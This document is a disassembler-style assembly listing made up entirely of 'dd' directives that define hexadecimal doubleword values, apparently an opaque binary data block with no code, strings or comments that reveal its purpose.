		dd 0DE00398Fh, 325E5DD2h, 0D4D5D3h, 8A7044C2h, 52E7DD71h
		dd 73D738h, 4C1959EBh, 1D880E9Bh, 0C13D5704h, 0B041A5FDh
		dd 1DCC3C99h, 1600D5B5h, 0B0F5474h, 8330032h, 0BB03FF29h
		dd 0B300EEECh, 5C476B77h, 0E1EC192h, 6323F8EDh,	74F220A2h
		dd 7AE8BCE3h, 50008E2Ah, 186727D8h, 0EC29B8D1h,	28C986Ch
		dd 0F83B9D5Eh, 30631476h, 250896B0h, 66D46313h,	0FB571C81h
		dd 0A12560h, 1D4BFD01h,	5FBAB5A3h, 86009B98h, 8E1C9E5Eh
		dd 14768A1h, 930846D1h,	0DD271D71h, 0D7C7E019h,	3056503Fh
		dd 0C134CCFFh, 0D026005Ah, 0A7586F02h, 327FB47Fh, 0C668DE00h
		dd 0A863F79Bh, 1F650060h, 43834C94h, 0C5033306h, 77E44FC1h
		dd 3E4E98B3h, 4647025Fh, 1D08D76Eh, 986ACF60h, 0CB7F4902h
		dd 0E0075560h, 36D6224h, 58103279h, 9EB875AEh, 2900DAEAh
		dd 0CD1A82FDh, 1EF787F0h, 553AE5h, 61375734h, 3B019E49h
		dd 7E47E689h, 4BE4DA4Ch, 22B60046h, 0DFDB1D4Dh,	0A70062AEh
		dd 2C380326h, 24F02F13h, 87BCCE27h, 0E06522CBh,	2B894AB6h
		dd 0BC4575Ch, 18954501h
		dd 0F8BE4BCh, 5BF08D5Ch, 93FE5841h, 44B88938h, 0F096FFh
		dd 9378C4FCh, 0B1E8BEF1h, 4C80B58h, 1536A181h, 56760580h
		dd 640A00C2h, 0E5190859h, 39000227h, 0B70EE455h, 0EA054049h
		dd 4908Eh, 0D7A63CCCh, 41372EEAh, 860980Ch, 1B6918Bh, 0AD175084h
		dd 64576DC3h, 530042CCh, 41D62064h, 9A4BA260h, 122002Ch
		dd 0E98330FFh, 9400DCADh, 12CC24BEh, 0C0D1FCh, 0C81C6057h
		dd 75A6208Ch, 48454B00h, 0D19D5F7Fh, 0DEB30064h, 6E915C86h
		dd 0E7027A88h, 71BD078Bh, 17ABE04Fh, 0EE9E00E6h, 0F79DC0EAh
		dd 0BF002A2Eh, 7EC6D36Dh, 8C79A4h, 0E2D23463h, 8331965Dh
		dd 163E5C4Ch, 0AD1DD71Dh, 0F0CDD80h, 1D14C875h,	9EFDAD72h
		dd 77EA44F8h, 7548E71Ch, 0F1C7C900h, 270C38DEh,	14CE07EDh
		dd 0E01D2826h, 0E66BAD15h, 0EE0DDF01h, 0AE033F71h, 542FCCh
		dd 6358AA2h, 5BB7708Bh,	8DBA5700h, 4D11A8A5h, 0AF4002Bh
		dd 99B53702h, 0E700D14Ch, 7006F8B6h, 1CCE78E6h,	8E6D6B4Fh
		dd 3DC0E939h, 831F0929h, 0D0725A0Eh, 76CCC00Dh,	79B8EC6h
		dd 0CB955755h, 3E802BAAh, 9480C1E9h, 25FA5F00h,	0C4EAB302h
		dd 0F81C00C7h, 0EF3813A5h, 9400B814h, 9E06AF54h, 76C691h
		dd 0B7273EA6h, 4218F55Dh, 0B8996CA0h, 0BF796F00h, 0B7078162h
		dd 0C56D0054h, 4C836A8Fh, 55003E32h, 782C85ABh,	1DCF128h
		dd 98947DECh, 60EE910Ch, 7E779BC3h, 1F6B026h, 13CED300h
		dd 4CDE3E59h, 0D20011DAh, 97F54333h, 0D6031D54h, 0E8865DADh
		dd 118180FAh, 18FB2EBFh, 0C0761DE8h, 2F80A49h, 710027D6h
		dd 1DA1D09Dh, 0A7E793h,	1AAA372Bh, 24D79A67h, 0DF222A00h
		dd 3D03B5F0h, 17BD1216h, 5A370001h, 3E24E543h, 4C58EF1Ch
		dd 0BDD8F781h, 0A2706691h, 577000B4h, 7F4DEE6h,	2700D224h
		dd 0E08FDCD0h, 1DB918F7h, 0C0349C74h, 3D637F5h,	66073ECBh
		dd 85B5C20h, 80A9BDE2h,	0F62891A8h, 46F0009Ah, 4981FCD1h
		dd 0A800A674h, 1A127A3Fh, 9D5C4Ch, 963752E6h, 0B2080AB9h
		dd 0AF2C0500h, 4BE5BB5Eh, 0B66901FEh, 48DEF95h,	8EFC5273h
		dd 0DDBF1AC0h, 62157200h, 0C0A8B447h, 0E12800FDh, 3C7FF176h
		dd 3100A62Ch, 0B7F0589Ch, 48F5051Fh, 0F9033F24h, 791D497h
		dd 0BD484CB7h, 0A42EAAF6h, 741F1061h, 7A54FB00h, 9B49BEh
		dd 2F3B123Eh, 0D0AB738Ch, 0E80F2971h, 0A03C53E2h, 0B91BC0ACh
		dd 0E4600077h, 157AFCC6h, 5C268D25h, 8C006CEDh,	723F347Dh
		dd 0ECADF276h, 777679h,	0AA09BAE1h, 0E7BED065h,	93682F00h
		dd 3B38FC60h, 0B0EC3812h, 32CC780h, 8A309743h, 0C87629F6h
		dd 0D09A861Eh, 0A068BE8Eh, 2CA22255h, 2673005Dh, 844CC16Bh
		dd 0AA78C098h, 3A588B00h, 91ADC770h, 0B8E307CBh, 80E58EF0h
		dd 444996AFh, 73204300h, 0FFB72117h, 3B331C0Ah,	943640FDh
		dd 32F9DC07h, 1AEB2E00h, 7072DF64h, 4ABC0087h, 44233CA4h
		dd 0AC394E7Eh, 0FAA1147Fh, 0C78400FCh, 0BA64ABAFh, 0E14D03CBh
		dd 0F7E5A8C4h, 0E42CA6D9h, 3C000D16h, 0B4D3C1E8h, 0C5F38h
		dd 9032BC2Ah, 0BE43DDFBh, 36A04800h, 933949B1h,	7DBB00C2h
		dd 3EC6AE72h, 0AD0E85D9h, 0DD633D84h, 0ABB1E740h, 0E7CCD9Eh
		dd 2053CE31h, 2D8B0422h, 0D2C85CE0h, 0BA77837Fh, 0FA252400h
		dd 7C313CF5h, 0E7E8F7h,	0FDC87215h, 0D92DD4F8h,	0EB009AF8h
		dd 0ECA2826Ah, 1C0EC2B5h, 406113ADh, 4627F957h,	391C40D5h
		dd 38C07AF6h, 0CA809A7h, 5999022h, 0DE63D714h, 0ED7F834Ah
		dd 0CE26ECB0h, 0B701B000h, 919B68F4h, 82D0006Ah, 6B62B244h
		dd 3F0098FEh, 0D9D12A9Ah, 0CC83A5h, 0DD17D8E2h,	0A1C2D66Ah
		dd 43B07B00h, 5C1438A7h, 0F3E00EA2h, 0BA403CE6h, 9142367Eh
		dd 9A727700h, 0C70DCE9Bh, 649601FAh, 0E0EFD112h, 7BAF099h
		dd 5FDD200Ch, 0D210E4h,	0C037FB44h, 0AF98B6F4h,	929EF21Ch
		dd 0E525CC40h, 0ADF45C6h, 0F0E16C08h, 873307B0h, 6207B377h
		dd 0CFC264A8h, 99DF7905h, 0DE80A84Ah, 0F2A4ADA7h, 49932465h
		dd 2A6E0304h, 0C0ACDD3Ah, 35754E4Dh, 0D12F0801h, 0ED5412D6h
		dd 0DD4D2A80h, 2AE29D18h, 1D308B00h, 17FADE2Eh,	27210E8Fh
		dd 7C804191h, 5F4398F3h, 8D0AC8F2h, 0FC7B81D0h,	9D7B500h
		dd 0FF8CBAh, 0C16F82A9h, 0E2874A33h, 12170501h,	1E08DB4Ch
		dd 0D0508BE1h, 0B852D6h, 44076C59h, 652C539Bh, 115CEE07h
		dd 8DF0F046h, 126A10B7h, 22313Bh, 0AFECF4AEh, 0E80F697Bh
		dd 548ABF6Dh, 263450D4h, 72072500h, 1E47DA49h, 79E40144h
		dd 83138D66h, 0C012F4A2h, 643F1003h, 8875FF49h,	7150168Bh
		dd 177D48h, 8ACE464Fh, 0F46CBFAFh, 0B9910D00h, 0B2BA81Eh
		dd 0EE6B0014h, 0EBBD7D1Ah, 0F8B54697h, 6A9A0736h, 0D05A4A11h
		dd 0A3C68EFCh, 0E053B700h, 30FD7995h, 39D201CEh, 44D48B10h
		dd 0E3C074CFh, 9A222500h, 0A7AEB241h, 0AC3E0053h, 0F6915674h
		dd 37721955h, 61BA8602h, 8090FF8Eh, 39C4E7ACh, 44AD0012h
		dd 0CCF29F36h, 0ED00A5A4h, 53B8731Dh, 5B39F1h, 0D53F8717h
		dd 0D9F9EEA1h, 0C5601C91h, 3E1DB8AAh, 139D6BFBh, 0CBD34F5Ch
		dd 9AC88CE0h, 51E8D2A5h, 2760DFEh, 44920FF2h, 636EF20Bh
		dd 0A4610096h, 0E660055Ch, 848C00CAh, 6ECB9254h, 0E728C78Eh
		dd 0BB00E866h, 0B90FFAC6h, 989AE15Dh, 0F22D0036h, 0B412AC39h
		dd 0CF0032B7h, 0D75446F6h, 0B00D5DC2h, 16F2EBh,	0B1F4DF6Bh
		dd 6E136C92h, 0A5E02CECh, 500FD300h, 943C55AFh,	0BBFC00C1h
		dd 432434DDh, 0D80EB452h, 40D35897h, 0E26853C7h, 0A9A40391h
		dd 658E1B70h, 0EBCE7B88h, 0FE3C8600h, 35A51526h, 92D0001Ah
		dd 0EAB2795h, 983EFA70h, 0ED69070Dh, 4110A38h, 64C89668h
		dd 467400F2h, 16337FB8h, 0AC018205h, 86D1CBE4h,	0BE05388h
		dd 43E91F79h, 0A28A4074h, 9DD36AE3h, 2C4C5D38h,	8200582Bh
		dd 5F0DD4ECh, 32090088h, 0EF8B6C65h, 0EA757576h, 0AD00AB90h
		dd 809687B2h, 8223B7h, 7C5C8E91h, 2ADBA3AEh, 2E74F900h
		dd 36FE4FF3h, 9A3C0043h, 0F67AFF1Bh, 6600E528h,	50DAD657h
		dd 0FD99370h, 0E824AAAh, 6996B7A1h, 1EB0DCFFh, 0DF4D8B00h
		dd 247FCB67h, 0CD460156h, 0BD97C3C4h, 7BB3CC27h, 26CFB201h
		dd 0E80DE1B7h, 4BB48D4h, 2CAD72CDh, 1FC8C099h, 4000581Ch
		dd 74DAE093h, 818826h, 3F536534h, 35DC9D4Ch, 0AE2AF07h
		dd 0DA108625h, 72B541ACh, 4A7148h, 999096B6h, 0CB83B169h
		dd 0D642F409h, 3288033Ch, 151FE020h, 0A0DE0068h, 31D8F392h
		dd 0C2C43DAh, 7600E2C4h, 0A9F6AFBAh, 0CFEA07A2h, 6051C794h
		dd 0C402FC2h, 0C4D9A400h, 0CAA7BEEDh, 78480018h, 0EE83AF87h
		dd 4F00E8BAh, 1E673B64h, 14E19F7h, 0E5264BBBh, 0F4B2337Dh
		dd 0A6E41532h, 0E6A81C50h, 7CE2B400h, 9BDE525Ch, 0A0E857h
		dd 3DBCDCFFh, 0F9429DC9h, 4420C11Eh, 704FB400h,	75C6A5Dh
		dd 6FA70919h, 0A81090DEh, 8C00BF07h, 0F85B16A4h, 26C1FDBh
		dd 1E455C5Eh, 0C175EA6Ah, 0A0FC965Ch, 383B0C1h,	1149F8EBh
		dd 14C8423Eh, 90FBC59h,	608B7B4Fh, 2281EAB9h, 0F533008Ch
		dd 0E1DC035Fh, 0D509D440h, 8087902Eh, 734CF293h, 46E90027h
		dd 2186683Eh, 2C031B9Dh, 54B8042Dh, 9B75A847h, 8D5B037Bh
		dd 0FE62BB0Dh, 0F455F881h, 0C01FDB78h, 0C2C0FFBFh, 4922A117h
		dd 19EC0031h, 3C3844E9h, 660269E1h, 0A960D583h,	0CCD9E0E2h
		dd 81AC00C9h, 5D14EE40h, 0B61FC08Eh, 47C0F019h,	55302825h
		dd 0A8E80768h
		dd 0C0CBB161h, 0C2BFD69Dh, 89626405h, 71C06349h, 0E675104h
		dd 3C2AB57Eh, 0E20ADBA0h, 0CC021045h, 8AB2AB1Eh, 80808FF3h
		dd 1BF7DE56h, 0F0890093h, 7AB04A18h, 0BB0EB243h, 0B89DFF97h
		dd 0B14866h, 0CEAD545h,	0A9B3BC52h, 75B6FC01h, 0D36EAB07h
		dd 0D7E32A82h, 3440B456h, 0B500B92Eh, 338AC702h, 7F9522E6h
		dd 1CEA01Ch, 0E611F8A6h, 98393C6Ch, 253D8780h, 26A1554h
		dd 10D56700h, 1ACBFCF4h, 6C3E0027h, 891BBE9Ah, 0F71CF5C4h
		dd 0DF007D4Eh, 0B9023349h, 0F591829h, 1C17886Dh, 0BE009A74h
		dd 5309546Eh, 161EB2Eh,	0B9E4D7CAh, 80D12DB3h, 0A390B821h
		dd 7DF98587h, 0A774F6h,	1F38A5C0h, 8E9779E3h, 20DA6E00h
		dd 0E2542C15h, 0B065E4B5h, 55B43029h, 0CF8F0C11h, 0FF849654h
		dd 1A4D4F03h, 7C6D498Eh, 4A2E1DB8h, 8020B735h, 7E4D8A65h
		dd 0F6595200h, 0E11056D6h, 30EE739Eh, 4448A2C7h, 1D003E6Ah
		dd 212EDE97h, 0AF1CA77h, 7FA5A7E4h, 848A0660h, 0F500F975h
		dd 0E07D2F57h, 523445h,	5D80647Bh, 0E2949FBCh, 0FC2BD000h
		dd 1647787Eh, 43950055h, 447F7B1Dh, 0F401256Dh,	8E12EC05h
		dd 3D20A456h, 0F4D0B52Dh, 490C1F00h, 0ED7B5159h, 527D00C8h
		dd 0E5F7F1EFh, 8400A78Ah, 1DCF73DEh, 4C295Fh, 0ECE21465h
		dd 10CD6FE8h, 2BDFA701h, 52FCB070h, 0C28DECh, 0C1EFF1EEh
		dd 0E7960A02h, 0D4DD2600h, 300CBF48h, 0D37F0044h, 93AA432h
		dd 0F300D8EFh, 0EE430B70h, 3EE47EBEh, 0DD01D0F4h, 0D4BD5B1Ch
		dd 0A0DE0E7h, 5991AE00h, 94E4C54Eh, 0DD3600BCh,	7B43A8C0h
		dd 35180BE2h, 5911F3D5h, 0E11B0206h, 2876EB94h,	0B18DA480h
		dd 0F1054513h, 7CCD7DD2h, 5EDC5981h, 0E9BD4D4h,	479F975Ah
		dd 404AAF87h, 0AE9ECEC4h, 0F2531D14h, 0EF9280F8h, 1DB2347Eh
		dd 1FBCB86Fh, 458200E6h, 8CCB2A68h, 6AB05D4Bh, 0E8FF506Eh
		dd 51460044h, 67B582C6h, 3B01F84Dh, 0BE9FB3FBh,	0F8519D8Dh
		dd 0BD70DE03h, 96DC2C33h, 5CB700C5h, 0B909D93Ah, 0DBA89100h
		dd 0A4183D7Bh, 1DAB7933h, 801BB038h, 454636EEh,	0B307D0E3h
		dd 34E86924h, 4098A6D2h, 0BDEC38h, 0D7C42823h, 537020F8h
		dd 990F0C00h, 0C9EE84BEh, 0B2E835FAh, 19680090h, 8108493Bh
		dd 0BFF150C0h, 21BB61Eh, 0FEA3BAE0h, 0A8803E86h, 466604ECh
		dd 0EBB2F000h, 5A8B3FA5h, 0ED4D0CADh, 6D02A468h, 0A7D82403h
		dd 0F8EC487Ah, 1E45EAE9h, 3F59FFh, 7FF7ABACh, 2801400Ch
		dd 0D90A67C5h, 72F04DE2h, 13CEB07Ch, 0BEBEC29Eh, 0F3913F18h
		dd 0C4BF03D7h, 0F090AF18h, 0D56BB2B9h, 88982498h, 0A0C97618h
		dd 6A118530h, 18D86Eh, 439265E9h, 0CE5015ADh, 0D7123FBCh
		dd 4C00829Fh, 70E337A2h, 0D9CD099Ah, 3401F5B7h,	41766F02h
		dd 109E852Ch, 88C1972Dh, 80042441h, 0CFD1AD40h,	2025A721h
		dd 0D35CA26Ch, 63596177h, 38074BB0h, 0BA0C2161h, 55194902h
		dd 0B09BA7DDh, 0B111403Dh, 0BF13546Fh, 58101893h, 0E0409CE7h
		dd 6E9A22D7h, 0B1991933h, 21BEDAC5h, 781D9B5h, 0BB4CEF40h
		dd 0EA1B008Eh, 95872685h, 177C02ABh, 36355E00h,	43A2F15Fh
		dd 39AF3ECEh, 59E75B06h, 1F038E4h, 6DAE0507h, 3010BA71h
		dd 0ECF737E0h, 61E3006Fh, 5DFF7CAAh, 0DE003D5Fh, 8AC4368Bh
		dd 0CE2F12Dh, 14CA4C2Bh, 83003A48h, 0CE555DD2h,	0A3C0CBh
		dd 0BA8297A1h, 5A15E249h, 0EB322500h, 7B81F57h,	0A74F0056h
		dd 0E0780D0Fh, 7F0FA3DCh, 0C09DD427h, 0EFEE5DB5h, 0F68E1F5Bh
		dd 2B4EC772h, 712F21E0h, 52709FB4h, 0CF370280h,	633589h
		dd 5DFE5B68h, 0AF5F11D1h, 0A3872703h, 0ED52837h, 0D2C38A18h
		dd 0A2E43B21h, 0A41041A5h, 802E0263h, 0F26FBB98h, 0C7DA189Fh
		dd 6619101Ah, 1C92F460h, 63F33BFEh, 122508A2h, 94562000h
		dd 0D571EEF7h, 6AA13FABh, 5442ACD4h, 57B8CDh, 16FC38F1h
		dd 58E5F807h, 0CFE19C00h, 0EBBF68Dh, 9130009Bh,	0D7377EA0h
		dd 4A038A62h, 27956570h, 0DB980038h, 0F64284Eh,	88015E52h
		dd 89737BB5h, 2080010Eh, 0BBB6164Ah, 0AB0A2748h, 0D4292FD1h
		dd 0AD44DD00h, 1FA2F27Ch, 9FBEF8FDh, 190F02ECh,	0D8B0FA10h
		dd 0E4009031h, 0AC03CA7Ah, 4C4DE6EEh, 0FD00E975h, 0A3D1D404h
		dd 800C98Eh, 0F69A51BFh, 877F27h, 0DADD43E8h, 0C11E52C8h
		dd 35CCEF00h, 8E3C799Fh, 0FA283DA8h, 0C768BF1Eh, 0F0D47701h
		dd 4FB52A5Eh, 34193C78h, 0CB081E13h, 16CDDD4h, 629EDF87h
		dd 0CC85DC1Ch, 9A0E6ED4h, 2A166C4h, 7DF31ED7h, 0C0028BE0h
		dd 4BD848h, 793F6177h, 1EC2FF37h, 309DC32Ch, 2208128h
		dd 91F7B100h, 1824B870h, 6E7E4Eh, 8B61F55Ah, 0E564257Eh
		dd 18816930h, 1E54FF1Ch, 257C70Ah, 0E603720Ch, 49B507E0h
		dd 3D82C406h, 30EDD0h, 90FB8A80h, 44248456h, 5E1FD400h
		dd 2DEEDEA9h, 21DD0059h, 3EA21685h, 0FE006E29h,	1FB40E9Bh
		dd 5387B7h, 0A4E01D63h,	0B9F0148Ch, 0CF3D4A00h,	52051EBCh
		dd 3D8FFE96h, 43006410h, 0C1E45344h, 0CB983820h, 0C970C803h
		dd 0A3E892h, 5E101438h,	0A7626B95h, 0AED03E00h,	70F54145h
		dd 506107CFh, 60F035C9h, 67F32337h, 0AD1EB10Fh,	0FE2700FBh
		dd 7B01B6Ch, 8C9EE8BCh,	8554058h, 0CC0C88D6h, 580CA430h
		dd 2BAB00D2h, 1620A831h, 1B0C5C2Ch, 681C4887h, 5DCC00EEh
		dd 8886273Fh, 0D70C57E8h, 0D849F351h, 0DEF11CAEh, 0E0807A9Ah
		dd 0B6B29029h, 3CFA3988h, 264C6801h, 1378F2BCh,	0FC4B4EE8h
		dd 0FCAC019Eh, 5FA9E78Bh, 26488C56h, 61084Ch, 67C87328h
		dd 8CD0E509h, 0EC8BD403h, 44A818h, 0D886E120h, 39F25E3Dh
		dd 0B3462803h, 7577C5h,	2A13DB88h, 0D9FB18CEh, 1FF5D300h
		dd 0A60A4359h, 74DA0001h, 6A13E2B5h, 4C001161h,	892FF62Ch
		dd 104DCFh, 0F30D972Ah,	416DE71Ah, 7D7D0A71h, 0B4DAAF17h
		dd 80F1B309h, 0B8EF5579h, 3CD006Dh, 6919C8A8h, 0E4744018h
		dd 80863Ch, 6BCE3E64h, 3B9B01AAh, 0A480B4BFh, 562BD516h
		dd 7F01C83Fh, 77782F4Dh, 93F00FB8h, 2C640EB4h, 1FC9DDA7h
		dd 0A3182A0Ch, 0AE08960Fh, 0EC23845Eh, 7D333D40h, 5100E4B8h
		dd 42A89EABh, 0CED96530h, 6160C2A8h, 53BB9A45h,	0F038C900h
		dd 26169BFDh, 0F95E00B1h, 0B8C2AAC7h, 0A87AEE9Dh, 0D40791A0h
		dd 0F77A4E00h, 2B05AE6Ah, 919A240Eh, 12C400CFh,	6E065773h
		dd 0A9AB5850h, 82663200h, 74950C55h, 0F10700C7h, 28586F9Fh
		dd 570F87BCh, 6EB4DF6Bh, 0A3C9001Ch, 12BB79Ah, 5158D733h
		dd 0D3DE42E8h, 143115B0h, 9C4DD501h, 0B756CFB6h, 606E0980h
		dd 0E3911554h, 0FF0F9409h, 69CE0049h, 7C406Ch, 9C85D632h
		dd 0D7281BF7h, 3C58DA00h, 346C8415h, 0C90131D3h, 1181320h
		dd 70816D86h, 0A07F516Bh, 4D404037h, 9C21DF77h,	968CC01Eh
		dd 0C7006B94h, 260670D7h, 0CEAFE2h, 7D3CD631h, 0FE3F2D2h
		dd 0CAB18A0Ch, 54AAE0CBh, 23E30BAh, 0A6A4EC72h,	7145769h
		dd 4E7213DFh, 0A40AB045h, 5B7EABF6h, 0E970B800h, 0E5BBEC24h
		dd 0A2EAAAh, 986A5F85h,	0FD0F437Bh, 82046F26h, 9A341A02h
		dd 35ECC1B0h, 89DDCh, 399B6E8Ah, 0C8168DB7h, 0DDFCD300h
		dd 70A36C59h, 8E04003Ch, 0B8F74C2Dh, 4B079389h,	7478EEF8h
		dd 540FE830h, 3F90001Eh, 9FBE7DF6h, 2200AB81h, 0D9592CECh
		dd 7312B26Dh, 9D160017h, 842E7F0Dh, 290181A6h, 0F225D241h
		dd 4BC9F6E8h, 0F4C0ECh,	0D711B0C3h, 0D5E37D81h,	549AB200h
		dd 0E0FC075Bh, 0D4F32D59h
		dd 378B3DC0h, 44745800h, 491B722Ah, 66B8149Dh, 40E00431h
		dd 10C07FCBh, 6D204CF0h, 43BB0053h, 0E5FD3E95h,	0ABFCCE50h
		dd 8C123C00h, 1828E2EEh, 52CF0F94h, 28BF2FBBh, 0C2D13FA7h
		dd 5FB0F480h, 4FAEA05Bh, 70395900h, 6F8C974Eh, 0C485005Ch
		dd 0A17EAAB4h, 22034F6Ch, 823D7056h, 0F5B0AF60h, 5C16E4h
		dd 0C4356450h, 0E83803BEh, 37C11C00h, 7E58A1D2h, 6021032Ch
		dd 0EB7FA4AAh, 1891EED8h, 4D6A600h, 0E4501645h,	0AEC70092h
		dd 72B80338h, 6007C2Eh,	3E7080BAh, 13F2CB1h, 1CFF404Bh
		dd 0F8CD5E8Bh, 0C000A9Fh, 0CCB708CAh, 26AC4F2h,	0F9882A0Bh
		dd 71400396h, 9D009CD3h, 19BD087Dh, 1C5F80AEh, 4098EC7Ch
		dd 0DF9BA039h, 1A00F83Dh, 7C1AB44h, 0EECAB760h,	2C9001B2h
		dd 0AA9486B3h, 211430CFh, 0B1770400h, 0E2FFD091h, 0E8DB0023h
		dd 0F1CE4C22h, 0EC38D39Eh, 0CD00F9FDh, 0D8614A3Bh, 0AAC42Fh
		dd 90C78B4Fh, 62D4B837h, 8014CD00h, 0E8293CFCh,	0CB753AFDh
		dd 0D1DD100Fh, 8E4694A0h, 0E100F6A2h, 0DAECA1F8h, 4407C3h
		dd 60299B97h, 17C9D9CAh, 0E00AC0A8h, 0A028190Fh, 0ADD78040h
		dd 8C90D4h, 0BEEA9B9Fh,	2AE669B5h, 0AD9E6028h, 0FB0704F6h
		dd 5E96EBB4h, 1EC73470h, 9F020098h, 0C1192306h,	683B44A9h
		dd 9EEC0089h, 773111ABh, 0EB90098h, 0E265E573h,	0DD0125ACh
		dd 94C8B5A3h, 5FD9A47Ah, 19D47C4h, 2918EF28h, 0CC790D66h
		dd 3B00B77Eh, 5F2E32AEh, 33DEE4Ch, 0F4B6C758h, 4BB34306h
		dd 7F4A25A0h, 0C80E23EEh, 2014B7C1h, 0AFA54162h, 96F019Eh
		dd 0CE7F1E64h, 7978FC82h, 92660A00h, 3CA5A302h,	5B6700BFh
		dd 347E2D6Ah, 0F601DE20h, 7F114154h, 0F3C00A3Dh, 9C720075h
		dd 0D09C5C0h, 63883E5h,	0B05F0F9Bh, 551EE0D2h, 9F9E86h
		dd 8DD152B9h, 18F91473h, 98F81900h, 2A21598Bh, 16360071h
		dd 78907986h, 0FE0EC014h, 0E026AB2Bh, 8C968F50h, 0DA47006Dh
		dd 0E56A86A6h, 0C701A267h, 324907EAh, 7FD9F271h, 3FEBC0h
		dd 6585F175h, 5AA495BDh, 375FD100h, 0C388543Dh,	4B8F002Fh
		dd 0EC807DCEh, 1C00D8C9h, 0EE67EDE8h, 3490668h,	8BDE9731h
		dd 6BC0CD26h, 2D074E25h, 88A78145h, 1772AD0h, 0FAF4A8h
		dd 3EA367F4h, 588D76D4h, 0DA9EF700h, 0CEAD0611h, 0F8B2014Fh
		dd 0C01C2A6Ah, 4732E033h, 0E0465604h, 0C0803C09h, 0B1157Bh
		dd 480E9624h, 0F63ECB4Ch, 0F8730300h, 0DC1CD169h, 42C80088h
		dd 5397EEE3h, 641C35B9h, 807CB3C2h, 0AF44EC61h,	1E19DCh
		dd 4A4E2F2Dh, 0FE454D5Dh, 83331F00h, 39DD7B42h,	0BAAD396Bh
		dd 1200BCBDh, 301AEA10h, 903F04Eh, 0CCAF528Eh, 0FE97C804h
		dd 0E42800BEh, 0F2EE66Eh, 0F00005E3h, 0B6E7189Bh, 5C352695h
		dd 0DB000B52h, 0F688FC9Ch, 17002F5Eh, 0EAF82E94h, 0E61AE3h
		dd 8B01BB19h, 50E2BD9Ah, 1E2FC201h, 0DA025C24h,	1497D4h
		dd 274183EEh, 0D04DB053h, 0C08B9313h, 0C144B300h, 8DCBC8h
		dd 0AA52D604h, 11312D5Dh, 0BD50BE01h, 0E7ED8C87h, 0F0E44960h
		dd 243F7154h, 0DBC35Eh,	4305DCC7h, 2809F1B8h, 170220h
		dd 0FEBE34A1h, 0D9861C9Ch, 0A0630004h, 1D35C054h, 0C7991803h
		dd 0A8E862D1h, 0FE6765Eh, 0AB567345h, 342D0F60h, 20F70885h
		dd 0F300A129h, 55CD1BB5h, 917E70h, 3E33EB6Fh, 0B1C7F6FFh
		dd 41725903h, 0BBBB8940h, 0A56B98E5h, 977C004Bh, 0C49647E2h
		dd 0FE002A99h, 9B2B0EE9h, 9AB798h, 22C71CF2h, 713A6E21h
		dd 0D4E6E500h, 3F9909F8h, 0D3FC5Dh, 0D51D815Fh,	7C1F5025h
		dd 0FD87048h, 80A1BE20h, 0CEF07F96h, 0E7C5009Fh, 0F799331Eh
		dd 0E05FD52h, 0EB54CF8Bh, 59E32380h, 6B646607h,	0A312F06Fh
		dd 0B444778Eh, 0F500C8F6h, 8A4B40B5h, 0A79A290Eh, 0D1E26085h
		dd 74C7BAE0h, 11930074h, 0F7B61B80h, 8F008607h,	0A7F289A5h
		dd 0FAB7DC3Bh, 707D03F4h, 81AAD430h, 0BD3DA5C0h, 3400D374h
		dd 876EF8BFh, 76AE2Fh, 0CB854B9Eh, 1121B7E1h, 0D2ADA800h
		dd 40FA04F3h, 0D90900F1h, 0F076CA06h, 0C200DD2Ch, 0D6127C0Ch
		dd 0C7F59Fh, 0BA8BD77Fh, 5045D8CDh, 92BC7E5Bh, 2D44FA00h
		dd 0E654BF1Eh, 0EF133Ch, 8A3B5835h, 0EBB4563h, 0CAAA11D9h
		dd 0D1B49FE0h, 0A3014F26h, 2B52360h, 8EF0A0B1h,	45CC0025h
		dd 94764A84h, 6500D619h, 0BF15A249h, 1D6F0647h,	1E7CBA5h
		dd 0E8560F0Ch, 0CE3080BCh, 49031F8Dh, 60D27740h, 0E640874h
		dd 3100FB5Ch, 113BB884h, 98F9D1DEh, 28C2006Fh, 0ADCB4D3Fh
		dd 3101E83Ah, 8FE0E158h, 1E9FFC69h, 2D6EC086h, 0E333D617h
		dd 7C05F248h, 1A9F1900h, 18D01696h, 0CC4700B2h,	71EF031Dh
		dd 2F065AECh, 63CC875h,	51B70028h, 0A8DA23EEh, 7B00EFC3h
		dd 1643EC10h, 0EC1691Bh, 0D92237FCh, 98E74A40h,	0FE1F9E9Fh
		dd 5880F261h, 9123D786h, 21BF0076h, 0DE90E2D2h,	5C00E957h
		dd 0A467851Eh, 63B2CAh,	8EE6705Dh, 0CBEFF13Fh, 40DE1500h
		dd 62E55CF7h, 0AE3300AFh, 785484AAh, 0C00096ECh, 2139EE80h
		dd 40E4A4h, 5B6170EBh, 3A9218D1h, 22ADED00h, 5962C2FEh
		dd 344F0079h, 32033978h, 40000E1Eh, 7EC79E30h, 0FEDBB9h
		dd 99C67B06h, 9DE5D78Fh, 79B27600h, 7443E39Ch, 296900FDh
		dd 4DA1EDA5h, 1C782140h, 62A84401h, 793E570Eh, 3FA65530h
		dd 7C80D6B1h, 46C67D5Ah, 0FCE53456h, 4A05F050h,	130D47A6h
		dd 8722A440h, 26A565E6h, 3ED42BAh, 821A1460h, 78EFE780h
		dd 4FAB290Fh, 8A61A088h, 32A20CFh, 628C8BBCh, 490727A3h
		dd 9FBD4BABh, 0F93679C0h, 868D3F71h, 7D8AE307h,	8CCF8010h
		dd 5E009C11h, 80EDB149h, 79584419h, 0FF220003h,	50985FF4h
		dd 0B017CB0h, 0E5A8F9AAh, 38E87DA1h, 0F669C046h, 0A985824Ah
		dd 0AA56FC00h, 677EC36Eh, 42C51D4Dh, 185F9Bh, 5D4F0BBFh
		dd 9C03A86Bh, 8D6999A2h, 0CA03B07Dh, 0EA37E23Ah, 0A83000D6h
		dd 0E1F3081Bh, 2700FA36h, 0F4EB1942h, 1C2C8059h, 40489074h
		dd 605AFEB8h, 0EF00EC15h, 4963DB08h, 37BC2629h,	0D3E05907h
		dd 48F885E0h, 6D07548Dh, 24F18A13h, 2F7C1550h, 0FB4F0722h
		dd 0B718788Bh, 2BAAE0D4h, 1A00E7ACh, 0B4CB70FFh, 0F20A8Ah
		dd 174E1D36h, 23D6BFA4h, 0C42D5600h, 0A5DECB98h, 748600C1h
		dd 0DC3FA833h, 9F000C30h, 9048FF92h, 734002h, 526CB509h
		dd 16C8E839h, 7DCDDC50h, 80F9763Dh, 0D6A4C0CDh,	0C0534881h
		dd 7444D5A8h, 6801A0B5h, 0F635071Dh, 0DCEC175Dh, 0A381006Dh
		dd 9287CF06h, 0BE0054EBh, 0F562E1D4h, 388F0AAh,	4F9DDE39h
		dd 0F90C7F93h, 41FF9ED5h, 1B47008Ah, 988C41Dh, 8F38DD86h
